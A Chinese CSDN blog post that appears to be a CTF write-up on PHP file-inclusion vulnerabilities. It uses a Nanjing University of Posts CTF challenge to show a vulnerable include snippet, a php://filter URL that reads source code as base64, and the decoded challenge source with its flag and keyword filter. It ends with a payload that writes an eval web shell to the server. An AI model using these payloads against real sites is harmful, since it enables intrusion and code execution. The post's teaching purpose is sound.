【CTF题】使用文件包含漏洞读取网页代码
按照我的理解文件包含漏洞是指网页后端php(或其他)代码中使用了include等文件包含语句,而且所包含的文件由变量控制,恰恰此变量又能通过GET或POST等方式进行修改所造成的。
1.直接包含内有运行代码的文件
比如有一index.php
<?php
include $_GET['file'];
?>
那么就可以通过抓包修改file值的办法去运行一些本来不该运行的文件
也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)
2.通过PHP内置协议直接读取代码
通过构造如下语句:
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码
题目是南邮网络攻防平台的文件包含题
点击“click me?no”以后:
这里写图片描述
可以看到,url变为了:
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
出现了?file=show.php
说明可能有文件包含漏洞,so,构建url如下:
得到了index.php的base64加密后的代码
base解密后得到代码:
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
可以看到,flag就在这里~
3.写入php文件
使用如下url:
并且在http头里提交
<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>
就能在index.php说在的目录下生成shell.php
--------------------- 本文来自 keysking 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/keysking/article/details/54728702?utm_source=copy